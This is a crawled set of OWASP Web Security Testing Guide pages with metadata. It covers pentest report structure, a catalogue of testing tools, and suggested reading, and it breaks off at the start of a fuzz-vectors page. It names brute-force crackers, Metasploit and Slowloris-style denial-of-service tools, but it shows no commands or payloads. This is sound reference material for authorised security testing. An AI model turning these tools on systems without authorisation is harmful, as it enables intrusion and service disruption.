Summary\n\nThis is like the elevator pitch of the report, it aims at providing executives with:\n\n- The objective of the test.\n - Describe the business need behind the security test.\n - Describe how the tests helped the organization understand their systems.\n- Key findings in a business context, such as possible compliance issues, reputation damage, etc. Focus on the business impact and leave out technical details for now.\n- The strategic recommendations on how the business can stop the issues from happening again. Describe these in a non-technical context and leave specific technical recommendations out for now.\n\nThe summary should be constructive and meaningful. Avoid jargon and negative speculation. If figures, graphs, or illustrations are used, ensure they help deliver a message in a clearer way than text would.\n\n## 3. Findings\n\nThis section is aimed at the technical team. It should include all the necessary information to understand the vulnerability, replicate it, and resolve it. Logical separation can help improve the readability of the report. For example, you might have separate sections titled “External Access” and “Internal Access”.\n\nIf this is a re-test, you might create a subsection that summarizes findings of the previous test, the updated status of previously identified vulnerabilities, and any cross-references with the current test.\n\n### 3.1 Findings Summary\n\nA list of the findings with their risk level. A table can be used for ease of use by both teams.\n\n| Ref. ID | Title | Risk Level |\n| --- | --- | --- |\n| 1 | User Authentication Bypass | High |\n\n### 3.2 Findings Details\n\nEach finding should be detailed with the following information:\n\n- Reference ID, which can be used for communication between parties and for cross-references across the report.\n- The vulnerability title, such as “User Authentication Bypass”.\n- The likelihood or exploitability of the issue, based on various factors such as:\n - How easy it is to exploit.\n - Whether there is working exploit code for it.\n - The level of access required.\n - Attacker motivation to exploit it.\n- The impact of the vulnerability on the system.\n- Risk of the vulnerability on the application.\n - Some suggested values are: Informational, Low, Medium, High, and Critical. Ensure that you detail the values you decide to use in an appendix. This allows the reader to understand how each score is determined.\n - On certain engagements it is required to have a [CVSS](https://www.first.org/cvss/) score. If not required, sometimes it is good to have, and other times it just adds complexity to the report.\n- Detailed description of what the vulnerability is, how to exploit it, and the damage that may result from its exploitation. Any possibly-sensitive data should be masked, for example, passwords, personal information, or credit card details.\n- Detailed steps on how to remediate the vulnerability, possible improvements that could help strengthen the security posture, and missing security practices.\n- Additional resources that could help the reader to understand the vulnerability, such as an image, a video, a CVE, an external guide, etc.\n\nFormat this section in a way that best delivers your message.\n\nAlways ensure that your descriptions provide enough information for the engineer reading this report to take action based on it. Explain the finding thoroughly and provide as much technical detail as might be necessary to remedy it.\n\n## Appendices\n\nMultiple appendices can be added, such as:\n\n- Test methodology used.\n- Severity and risk rating explanations.\n- Relevant output from tools used.\n - Make sure to clean the output and not just dump it.\n- A checklist of all the tests conducted, such as the [WSTG checklist](https://github.com/OWASP/wstg/tree/master/checklist) . These can be provided as attachments to the report.\n\n## References\n\nThis section is not part of the suggested report format. The below links provide more guidance to writing your reports.\n\n- [SANS: Tips for Creating a Strong Cybersecurity Assessment Report](https://www.sans.org/blog/tips-for-creating-a-strong-cybersecurity-assessment-report/)\n- [SANS: Writing a Penetration Testing Report](https://www.sans.org/reading-room/whitepapers/bestprac/paper/33343)\n- [Infosec Institute: The Art of Writing Penetration Test Reports](https://resources.infosecinstitute.com/topic/writing-penetration-testing-reports/)\n- [Dummies: How to Structure a Pen Test Report](https://www.dummies.com/computers/macs/security/how-to-structure-a-pen-test-report/)\n- [Rhino Security Labs: Four Things Every Penetration Test Report Should Have](https://rhinosecuritylabs.com/penetration-testing/four-things-every-penetration-test-report/)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7217, "slov": 1074, "odkazu": 185, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:55:41", "sha256": "f60c18d19f76600b97e5c63845205b3b8a918bf1cbc48cdf62d921926f3eb837", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.first.org/cvss/", "https://github.com/OWASP/wstg/tree/master/checklist", "https://www.sans.org/blog/tips-for-creating-a-strong-cybersecurity-assessment-report/", "https://www.sans.org/reading-room/whitepapers/bestprac/paper/33343", "https://resources.infosecinstitute.com/topic/writing-penetration-testing-reports/", "https://www.dummies.com/computers/macs/security/how-to-structure-a-pen-test-report/", "https://rhinosecuritylabs.com/penetration-testing/four-things-every-penetration-test-report/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/stable/6-Appendix/A-Testing_Tools_Resource", "titulek": "WSTG - Stable | OWASP Foundation", "h1": "WSTG - Stable", "popis": "WSTG - Stable on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/stable/6-Appendix/A-Testing_Tools_Resource", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Stable on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Stable | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/stable/6-Appendix/A-Testing_Tools_Resource", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Stable", "6-Appendix"], "osnova": [{"uroven": 1, "text": "WSTG - Stable"}, {"uroven": 1, "text": "Testing Tools Resource"}, {"uroven": 2, "text": "General Web Testing"}, {"uroven": 3, "text": "Testing for Specific Vulnerabilities"}, {"uroven": 4, "text": "Testing for JavaScript Security, DOM XSS"}, {"uroven": 4, "text": "Testing for SQL Injection"}, {"uroven": 4, "text": "Testing Oracle"}, {"uroven": 4, "text": "Testing SSL"}, {"uroven": 4, "text": "Testing for Brute Force Attacks"}, {"uroven": 5, "text": "Password Crackers"}, {"uroven": 5, "text": "Remote Brute Force"}, {"uroven": 4, "text": "Testing Buffer Overflow"}, {"uroven": 4, "text": "Fuzzer"}, {"uroven": 4, "text": "Googling"}, {"uroven": 4, "text": "Slow HTTP"}, {"uroven": 2, "text": "Commercial Black-Box Testing Tools"}, {"uroven": 3, "text": "Linux Distrubtions"}, {"uroven": 2, "text": "Source Code Analyzers"}, {"uroven": 3, "text": "Open Source / Freeware"}, {"uroven": 3, "text": "Commercial"}, {"uroven": 2, "text": "Acceptance Testing Tools"}, {"uroven": 3, "text": "Open Source Tools"}, {"uroven": 2, "text": "Other Tools"}, {"uroven": 3, "text": "Binary Analysis"}, {"uroven": 3, "text": "Site Mirroring"}], "markdown": "# WSTG - Stable\n\n# Testing Tools Resource\n\n## General Web Testing\n\n- [OWASP ZAP](https://www.zaproxy.org)\n - The Zed Attack Proxy (ZAP) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing.\n - ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.\n- [Burp Proxy](https://www.portswigger.net/Burp/)\n - Burp Proxy is an intercepting proxy server for security testing of web applications it allows Intercepting and modifying all HTTP(S) traffic passing in both directions, it can work with custom SSL certificates and non-proxy-aware clients.\n- [Firefox HTTP Header Live](https://addons.mozilla.org/en-US/firefox/addon/http-header-live)\n - View HTTP headers of a page and while browsing.\n- [Firefox Tamper Data](https://addons.mozilla.org/en-US/firefox/addon/tamper-data-for-ff-quantum/)\n - Use tamperdata to view and modify HTTP/HTTPS headers and post parameters\n- [Firefox Web Developer](https://addons.mozilla.org/en-US/firefox/addon/web-developer/)\n - The Web Developer extension adds various web developer tools to the browser.\n- [w3af](https://w3af.org)\n - w3af is a Web Application Attack and Audit Framework. The project’s goal is finding and exploiting web application vulnerabilities.\n- [Chrome Web Developer](https://chrome.google.com/webstore/detail/bfbameneiokkgbdmiekhjnmfkcnldhhm)\n - The Web Developer extension adds a toolbar button to the browser with various web developer tools. This is the official port of the Web Developer extension for Chrome.\n- [HTTP Request Maker](https://chrome.google.com/webstore/detail/kajfghlhfkcocafkcjlajldicbikpgnp?hl=en-US)\n - Request Maker is a tool for penetration testing. With it you can easily capture requests made by web pages, tamper with the URL, headers and POST data and, of course, make new requests\n- [Cookie Editor](https://chrome.google.com/webstore/detail/fngmhnnpilhplaeedifhccceomclgfbg?hl=en-US)\n - Edit This Cookie is a cookie manager. You can add, delete, edit, search, protect and block cookies\n- [Session Manager](https://chrome.google.com/webstore/detail/session-manager/mghenlmbmjcpehccoangkdpagbcbkdpc)\n - With Session Manager you can quickly save your current browser state and reload it whenever necessary. You can manage multiple sessions, rename or remove them from the session library. Each session remembers the state of the browser at its creation time, i.e the opened tabs and windows.\n\n### Testing for Specific Vulnerabilities\n\n#### Testing for JavaScript Security, DOM XSS\n\n- [BlueClosure BC Detect](https://www.blueclosure.com)\n\n#### Testing for SQL Injection\n\n- [Bernardo Damele A. G.: sqlmap, automatic SQL injection tool](http://sqlmap.org/)\n\n#### Testing Oracle\n\n- [Toad for Oracle](https://www.quest.com/toad)\n\n#### Testing SSL\n\n- [O-Saft](https://github.com/OWASP/O-Saft)\n- [sslyze](https://github.com/iSECPartners/sslyze)\n- [TestSSLServer](https://www.bolet.org/TestSSLServer/)\n- [SSLScan](https://sourceforge.net/projects/sslscan/)\n- [SSLScan windows](https://github.com/rbsec/sslscan/releases)\n- [SSLLabs](https://www.ssllabs.com/ssltest/)\n\n#### Testing for Brute Force Attacks\n\n##### Password Crackers\n\n- [John the Ripper](https://www.openwall.com/john/)\n- [HashCat](https://hashcat.net/hashcat/)\n\n##### Remote Brute Force\n\n- [Patator](https://github.com/lanjelot/patator)\n- [THC Hydra](https://github.com/vanhauser-thc/thc-hydra)\n\n#### Testing Buffer Overflow\n\n- [OllyDbg](http://www.ollydbg.de)\n - “A windows based debugger used for analyzing buffer overflow vulnerabilities”\n- [Spike](https://www.immunitysec.com/downloads/SPIKE2.9.tgz)\n - A fuzzer framework that can be used to explore vulnerabilities and perform length testing\n- [Brute Force Binary Tester (BFB)](https://sourceforge.net/projects/bfbtester/)\n - A proactive binary checker\n- [Metasploit](https://www.metasploit.com/)\n - A rapid exploit development and Testing frame work\n\n#### Fuzzer\n\n- [Wfuzz](https://github.com/xmendez/wfuzz)\n\n#### Googling\n\n- [Bishop Fox’s Google Hacking Diggity Project](https://resources.bishopfox.com/resources/tools/google-hacking-diggity/)\n- [Google Hacking database](https://www.exploit-db.com/google-hacking-database/)\n\n#### Slow HTTP\n\n- [Slowloris](https://github.com/gkbrk/slowloris)\n- [slowhttptest](https://github.com/shekyan/slowhttptest)\n\n## Commercial Black-Box Testing Tools\n\n- [NGS Typhon](https://www.nccgroup.trust/uk/our-services/cyber-security/technology-solutions/)\n- [HCL AppScan](https://www.hcltechsw.com/products/appscan)\n- [Burp Intruder](https://portswigger.net/burp)\n- [Acunetix Web Vulnerability Scanner](https://www.acunetix.com)\n- [MaxPatrol Security Scanner](https://www.ptsecurity.com/ww-en/products/maxpatrol/)\n- [Parasoft SOAtest (more QA-type tool)](https://www.parasoft.com/products/soatest)\n- [N-Stalker Web Application Security Scanner](https://www.nstalker.com)\n- [SoapUI (Web Service security testing)](https://www.soapui.org/security-testing/getting-started.html)\n- [Netsparker](https://www.netsparker.com/web-vulnerability-scanner/)\n- [SAINT](https://www.carson-saint.com/)\n- [QualysGuard WAS](https://www.qualys.com/apps/web-app-scanning/)\n- [IndusFace WAS](https://www.indusface.com/web-application-scanning.php)\n- [Fortify WebInspect](https://www.microfocus.com/en-us/solutions/application-security)\n\n### Linux Distrubtions\n\n- [Kali](https://www.kali.org/)\n- [Parrot](https://www.parrotsec.org/)\n- [Samurai](https://github.com/SamuraiWTF/samuraiwtf)\n- [Santoku](https://sourceforge.net/projects/santoku/)\n- [BlackArch](https://blackarch.org/downloads.html)\n- [PenToo](https://www.pentoo.ch/)\n\n## Source Code Analyzers\n\n### Open Source / Freeware\n\n- [Spotbugs](https://spotbugs.github.io/)\n- [Find Security Bugs](https://find-sec-bugs.github.io/)\n- [FlawFinder](https://dwheeler.com/flawfinder/)\n- [phpcs-security-audit](https://github.com/squizlabs/PHP_CodeSniffer)\n- [PMD](https://pmd.github.io/)\n- [Microsoft’s FxCop](https://docs.microsoft.com/en-us/visualstudio/code-quality/install-fxcop-analyzers?view=vs-2019)\n- [SonarQube](https://www.sonarqube.org/)\n- [W3af](https://w3af.org/)\n\n### Commercial\n\n- [Checkmarx CxSuite](https://www.checkmarx.com/)\n- [GrammaTech](https://www.grammatech.com/)\n- [ITS4](https://testarmy.com/en/)\n- [ParaSoft](https://www.parasoft.com/)\n- [Virtual Forge CodeProfiler for ABAP](https://www.virtualforge.com/de/codeprofiler-for-abap)\n- [Veracode](https://www.veracode.com/)\n- [Peach Fuzzer](https://www.peach.tech/)\n- [Burp Suite](https://portswigger.net/burp/)\n- [Fortify SCA](https://www.microfocus.com/en-us/solutions/application-security)\n\n## Acceptance Testing Tools\n\nAcceptance testing tools are used to validate the functionality of web applications. Some follow a scripted approach and typically make use of a Unit Testing framework to construct test suites and test cases. Most, if not all, can be adapted to perform security specific tests in addition to functional tests.\n\n- [BDD Security](https://github.com/continuumsecurity/bdd-security)\n\n### Open Source Tools\n\n- [HtmlUnit](http://htmlunit.sourceforge.net)\n - A Java and JUnit based framework that uses the Apache HttpClient as the transport.\n - Very robust and configurable and is used as the engine for a number of other testing tools.\n- [Selenium](https://www.seleniumhq.org/)\n - JavaScript based testing framework, cross-platform and provides a GUI for creating tests.\n\n## Other Tools\n\n### Binary Analysis\n\n- [Veracode](https://www.veracode.com)\n\n### Site Mirroring\n\n- [wget](https://www.gnu.org/software/wget/)\n- [Wget for windows](http://gnuwin32.sourceforge.net/packages/wget.htm)\n- [curl](https://curl.haxx.se/)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7688, "slov": 692, "odkazu": 252, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:55:42", "sha256": "e7f9a8548602cf0c922ae8b98a78b5aa86c87aaa37bb9be9190f46eb981228b9", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.zaproxy.org/", "https://www.portswigger.net/Burp/", "https://addons.mozilla.org/en-US/firefox/addon/http-header-live", "https://addons.mozilla.org/en-US/firefox/addon/tamper-data-for-ff-quantum/", "https://addons.mozilla.org/en-US/firefox/addon/web-developer/", "https://w3af.org/", "https://chrome.google.com/webstore/detail/bfbameneiokkgbdmiekhjnmfkcnldhhm", "https://chrome.google.com/webstore/detail/kajfghlhfkcocafkcjlajldicbikpgnp?hl=en-US", "https://chrome.google.com/webstore/detail/fngmhnnpilhplaeedifhccceomclgfbg?hl=en-US", "https://chrome.google.com/webstore/detail/session-manager/mghenlmbmjcpehccoangkdpagbcbkdpc", "https://www.blueclosure.com/", "http://sqlmap.org/", "https://www.quest.com/toad", "https://github.com/OWASP/O-Saft", "https://github.com/iSECPartners/sslyze", "https://www.bolet.org/TestSSLServer/", "https://sourceforge.net/projects/sslscan/", "https://github.com/rbsec/sslscan/releases", "https://www.ssllabs.com/ssltest/", "https://www.openwall.com/john/", "https://hashcat.net/hashcat/", "https://github.com/lanjelot/patator", "https://github.com/vanhauser-thc/thc-hydra", "http://www.ollydbg.de/", "https://www.immunitysec.com/downloads/SPIKE2.9.tgz", "https://sourceforge.net/projects/bfbtester/", "https://www.metasploit.com/", "https://github.com/xmendez/wfuzz", "https://resources.bishopfox.com/resources/tools/google-hacking-diggity/", "https://www.exploit-db.com/google-hacking-database/", "https://github.com/gkbrk/slowloris", "https://github.com/shekyan/slowhttptest", "https://www.nccgroup.trust/uk/our-services/cyber-security/technology-solutions/", "https://www.hcltechsw.com/products/appscan", "https://portswigger.net/burp", "https://www.acunetix.com/", "https://www.ptsecurity.com/ww-en/products/maxpatrol/", "https://www.parasoft.com/products/soatest", "https://www.nstalker.com/", "https://www.soapui.org/security-testing/getting-started.html", "https://www.netsparker.com/web-vulnerability-scanner/", "https://www.carson-saint.com/", "https://www.qualys.com/apps/web-app-scanning/", "https://www.indusface.com/web-application-scanning.php", "https://www.microfocus.com/en-us/solutions/application-security", "https://www.kali.org/", "https://www.parrotsec.org/", "https://github.com/SamuraiWTF/samuraiwtf", "https://sourceforge.net/projects/santoku/", "https://blackarch.org/downloads.html", "https://www.pentoo.ch/", "https://spotbugs.github.io/", "https://find-sec-bugs.github.io/", "https://dwheeler.com/flawfinder/", "https://github.com/squizlabs/PHP_CodeSniffer", "https://pmd.github.io/", "https://docs.microsoft.com/en-us/visualstudio/code-quality/install-fxcop-analyzers?view=vs-2019", "https://www.sonarqube.org/", "https://www.checkmarx.com/", "https://www.grammatech.com/", "https://testarmy.com/en/", "https://www.parasoft.com/", "https://www.virtualforge.com/de/codeprofiler-for-abap", "https://www.veracode.com/", "https://www.peach.tech/", "https://portswigger.net/burp/", "https://github.com/continuumsecurity/bdd-security", "http://htmlunit.sourceforge.net/", "https://www.seleniumhq.org/", "https://www.gnu.org/software/wget/", "http://gnuwin32.sourceforge.net/packages/wget.htm", "https://curl.haxx.se/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/stable/6-Appendix/B-Suggested_Reading", "titulek": "WSTG - Stable | OWASP Foundation", "h1": "WSTG - Stable", "popis": "WSTG - Stable on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/stable/6-Appendix/B-Suggested_Reading", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Stable on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Stable | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/stable/6-Appendix/B-Suggested_Reading", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Stable", "6-Appendix"], "osnova": [{"uroven": 1, "text": "WSTG - Stable"}, {"uroven": 1, "text": "Suggested Reading"}, {"uroven": 2, "text": "Whitepapers"}, {"uroven": 2, "text": "Books"}, {"uroven": 2, "text": "Useful Websites"}, {"uroven": 2, "text": "Videos"}, {"uroven": 2, "text": "Deliberately Insecure Web Applications"}], "markdown": "# WSTG - Stable\n\n# Suggested Reading\n\n## Whitepapers\n\n- [The Economic Impacts of Inadequate Infrastructure for Software Testing](https://www.nist.gov/system/files/documents/director/planning/report02-3.pdf)\n- [Improving Web Application Security: Threats and Countermeasures](https://www.microsoft.com/en-ca/download/details.aspx?id=1330)\n- [NIST Publications](https://csrc.nist.gov/publications/sp)\n- [Software Assurance: An Overview of Current Practices](https://safecode.org/wp-content/uploads/2018/01/SAFECode_BestPractices0208.pdf)\n- [The OWASP Guide Project](https://wiki.owasp.org/index.php/OWASP_Guide_Project)\n- [Use Cases: Just the FAQs and Answers](https://www.ibm.com/developerworks/rational/library/content/RationalEdge/jan03/UseCaseFAQS_TheRationalEdge_Jan2003.pdf)\n\n## Books\n\n- The Art of Software Security Testing: Identifying Software Security Flaws, by Chris Wysopal, Lucas Nelson, Dino Dai Zovi, Elfriede Dustin, published by Addison-Wesley, ISBN 0321304861 (2006)\n- Building Secure Software: How to Avoid Security Problems the Right Way, by Gary McGraw and John Viega, published by Addison-Wesley Pub Co, ISBN 020172152X (2002)\n- [The Ethical Hack: A Framework for Business Value Penetration Testing, By James S. Tiller, Auerbach Publications, ISBN 084931609X (2005)](https://books.google.com/books?id=fwASXKXOolEC&printsec=frontcover&source=gbs_ge_summary_r&redir_esc=y#v=onepage&q&f=false)\n- [Exploiting Software: How to Break Code, by Gary McGraw and Greg Hoglund, published by Addison-Wesley Pub Co, ISBN 0201786958 (2004)](http://www.exploitingsoftware.com)\n- [The Hacker’s Handbook: The Strategy behind Breaking into and Defending Networks, By Susan Young, Dave Aitel, Auerbach Publications, ISBN: 0849308887 (2005)](https://books.google.com/books?id=AO2fsAPVC34C&printsec=frontcover&source=gbs_ge_summary_r&redir_esc=y#v=onepage&q&f=false)\n- [Hacking Exposed: Web Applications 3, by Joel Scambray, Vinvent Liu, Caleb Sima, published by McGraw-Hill Osborne Media, ISBN 007222438X (2010)](http://www.webhackingexposed.com/)\n- The Web Application Hacker’s Handbook: Finding and Exploiting Security Flaws, 2nd Edition - [published by Dafydd Stuttard, Marcus Pinto, ISBN 9781118026472 (2011)]\n- How to Break Software Security, by James Whittaker, Herbert H. Thompson, published by Addison Wesley, ISBN 0321194330 (2003)\n- How to Break Software: Functional and Security Testing of Web Applications and Web Services, by Make Andrews, James A. Whittaker, published by Pearson Education Inc., ISBN 0321369440 (2006)\n- [Innocent Code: A Security Wake-Up Call for Web Programmers, by Sverre Huseby, published by John Wiley & Sons, ISBN 0470857447(2004)](http://innocentcode.thathost.com)\n - [Online version available here](https://books.google.com/books?id=RjVjgPQsKogC&printsec=frontcover&source=gbs_ge_summary_r&redir_esc=y#v=onepage&q&f=false)\n- Mastering the Requirements Process, by Suzanne Robertson and James Robertson, published by Addison-Wesley Professional, ISBN 0201360462\n - [Online version available here](https://books.google.com/books?id=SN4WegDHVCcC&printsec=frontcover&source=gbs_ge_summary_r&cad=0#v=onepage&q&f=false)\n- Secure Coding: Principles and Practices, by Mark Graff and Kenneth R. Van Wyk, published by O’Reilly, ISBN 0596002424 (2003)\n- Secure Programming HOWTO, David Wheeler (2015)\n - [Online version available here](https://dwheeler.com/secure-programs/Secure-Programs-HOWTO/index.html)\n- [Securing Java, by Gary McGraw, Edward W. Felten, published by Wiley, ISBN 047131952X (1999)](http://www.securingjava.com)\n- Software Security: Building Security In, by Gary McGraw, published by Addison-Wesley Professional, ISBN 0321356705 (2006)\n- Software Testing In The Real World (Acm Press Books) by Edward Kit, published by Addison-Wesley Professional, ISBN 0201877562 (1995)\n- Software Testing Techniques, 2nd Edition, By Boris Beizer, International Thomson Computer Press, ISBN 0442206720 (1990)\n- The Tangled Web: A Guide to Securing Modern Web Applications, by Michael Zalewski, published by No Starch Press Inc., ISBN 047131952X (2011)\n- The Unified Modeling Language – A User Guide – by Grady Booch, James Rumbaugh, Ivar Jacobson, published by Addison-Wesley Professional, ISBN 0321267974 (2005)\n- The Unified Modeling Language User Guide, by Grady Booch, James Rumbaugh, Ivar Jacobson, Ivar published by Addison-Wesley Professional, ISBN 0-201-57168-4 (1998)\n- Web Security Testing Cookbook: Systematic Techniques to Find Problems Fast, by Paco Hope, Ben Walther, published by O’Reilly, ISBN 0596514832 (2008)\n- Writing Secure Code, by Mike Howard and David LeBlanc, published by Microsoft Press, ISBN 0735617228 (2004)\n\n## Useful Websites\n\n- [Build Security In](https://www.us-cert.gov/bsi)\n- [CERT Secure Coding Standards](https://wiki.sei.cmu.edu/confluence/display/seccode/SEI+CERT+Coding+Standards)\n- [McAfee Foundstone Publications](https://www.mcafee.com/enterprise/en-us/search.html?q=Foundstone)\n- [McAfee Free Tools](https://www.mcafee.com/enterprise/en-us/downloads/free-tools.html)\n- [OASIS Web Application Security (WAS) TC](https://www.oasis-open.org/committees/tc_home.php?wg_abbrev=was)\n- [Open Source Software Testing Tools](https://www.opensourcetesting.org/category/security/)\n- [SANS Internet Storm Center (ISC)](https://isc.sans.edu/)\n- [The Open Web Application Application Security Project (OWASP)](https://owasp.org)\n- [Pentestmonkey - Pen Testing Cheat Sheets](http://pentestmonkey.net/cheat-sheet)\n- [Secure Coding Guidelines for the .NET Framework 4.5](https://docs.microsoft.com/en-us/dotnet/standard/security/secure-coding-guidelines)\n- [Security in the Java platform](https://docs.oracle.com/javase/6/docs/technotes/guides/security/overview/jsoverview.html)\n- [System Administration, Networking, and Security Institute (SANS)](https://www.sans.org)\n- [Web Application Security Consortium](http://www.webappsec.org/projects/)\n- [Web Application Security Scanner List](http://projects.webappsec.org/w/page/13246988/Web%20Application%20Security%20Scanner%20List)\n- [Web Security – Articles](https://www.acunetix.com/blog/category/web-security-zone/)\n- [Testing Client Side Security issues](http://example.com/)\n\n## Videos\n\n- [PentesterAcademy](https://www.pentesteracademy.com/)\n\n## Deliberately Insecure Web Applications\n\n- [OWASP Vulnerable Web Applications Directory Project](https://owasp.org/www-project-vulnerable-web-applications-directory/)\n- [BadStore](https://www.vulnhub.com/entry/badstore-123,41)\n- [Damn Vulnerable Web App](http://www.dvwa.co.uk/)\n- [Mutillidae](https://www.irongeek.com/i.php?page=mutillidae/mutillidae-deliberately-vulnerable-php-owasp-top-10)\n- [Stanford SecuriBench](https://suif.stanford.edu/~livshits/securibench/)\n- [Vicnum](https://sourceforge.net/projects/vicnum/)\n- [WebGoat](https://owasp.org/www-project-webgoat/)\n- [WebMaven (better known as Buggy Bank)](https://www.mavensecurity.com/about/webmaven)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6923, "slov": 639, "odkazu": 218, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:55:43", "sha256": "cca71105c7d4906a2729b1f75a5a7816377613107f789d66af5df5ebdbb559c8", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.nist.gov/system/files/documents/director/planning/report02-3.pdf", "https://www.microsoft.com/en-ca/download/details.aspx?id=1330", "https://csrc.nist.gov/publications/sp", "https://safecode.org/wp-content/uploads/2018/01/SAFECode_BestPractices0208.pdf", "https://wiki.owasp.org/index.php/OWASP_Guide_Project", "https://www.ibm.com/developerworks/rational/library/content/RationalEdge/jan03/UseCaseFAQS_TheRationalEdge_Jan2003.pdf", "https://books.google.com/books?id=fwASXKXOolEC&printsec=frontcover&redir_esc=y&source=gbs_ge_summary_r", "http://www.exploitingsoftware.com/", "https://books.google.com/books?id=AO2fsAPVC34C&printsec=frontcover&redir_esc=y&source=gbs_ge_summary_r", "http://www.webhackingexposed.com/", "http://innocentcode.thathost.com/", "https://books.google.com/books?id=RjVjgPQsKogC&printsec=frontcover&redir_esc=y&source=gbs_ge_summary_r", "https://books.google.com/books?cad=0&id=SN4WegDHVCcC&printsec=frontcover&source=gbs_ge_summary_r", "https://dwheeler.com/secure-programs/Secure-Programs-HOWTO/index.html", "http://www.securingjava.com/", "https://www.us-cert.gov/bsi", "https://wiki.sei.cmu.edu/confluence/display/seccode/SEI+CERT+Coding+Standards", "https://www.mcafee.com/enterprise/en-us/search.html?q=Foundstone", "https://www.mcafee.com/enterprise/en-us/downloads/free-tools.html", "https://www.oasis-open.org/committees/tc_home.php?wg_abbrev=was", "https://www.opensourcetesting.org/category/security/", "https://isc.sans.edu/", "http://pentestmonkey.net/cheat-sheet", "https://docs.microsoft.com/en-us/dotnet/standard/security/secure-coding-guidelines", "https://docs.oracle.com/javase/6/docs/technotes/guides/security/overview/jsoverview.html", "https://www.sans.org/", "http://www.webappsec.org/projects/", "http://projects.webappsec.org/w/page/13246988/Web%20Application%20Security%20Scanner%20List", "https://www.acunetix.com/blog/category/web-security-zone/", "http://example.com/", "https://www.pentesteracademy.com/", "https://www.vulnhub.com/entry/badstore-123,41", "http://www.dvwa.co.uk/", "https://www.irongeek.com/i.php?page=mutillidae%2Fmutillidae-deliberately-vulnerable-php-owasp-top-10", "https://suif.stanford.edu/~livshits/securibench/", "https://sourceforge.net/projects/vicnum/", "https://www.mavensecurity.com/about/webmaven", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/stable/6-Appendix/C-Fuzz_Vectors", "titulek": "WSTG - Stable | OWASP Foundation", "h1": "WSTG - Stable", "popis": "WSTG - Stable on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/stable/6-Appendix/C-Fuzz_Vectors", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Stable on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Stable | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/stable/6-Appendix/C-Fuzz_Vectors", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Stable", "6-Appendix"], "osnova": [{"uroven": 1, "text": "WSTG - Stable"}, {"uroven": 1, "text": "Fuzz Vectors"}], "markdown": "# WSTG - Stable\n\n# Fuzz Vectors\n\nThe following are fuzzing vectors which can be used with [ZAP](https://www.zaproxy.org), [Burp Suite](https://portswigger.net/burp), or another testing tool. [Fuzzing](https://owasp.org/www-community/Fuzzing) is the “kitchen sink” approach to testing the responses of an application to parameter manipulation. Generally, an analyst looks for error conditions or abnormal behaviors that occur in an application as a result of fuzzing.\n\nThe following references are provided as input 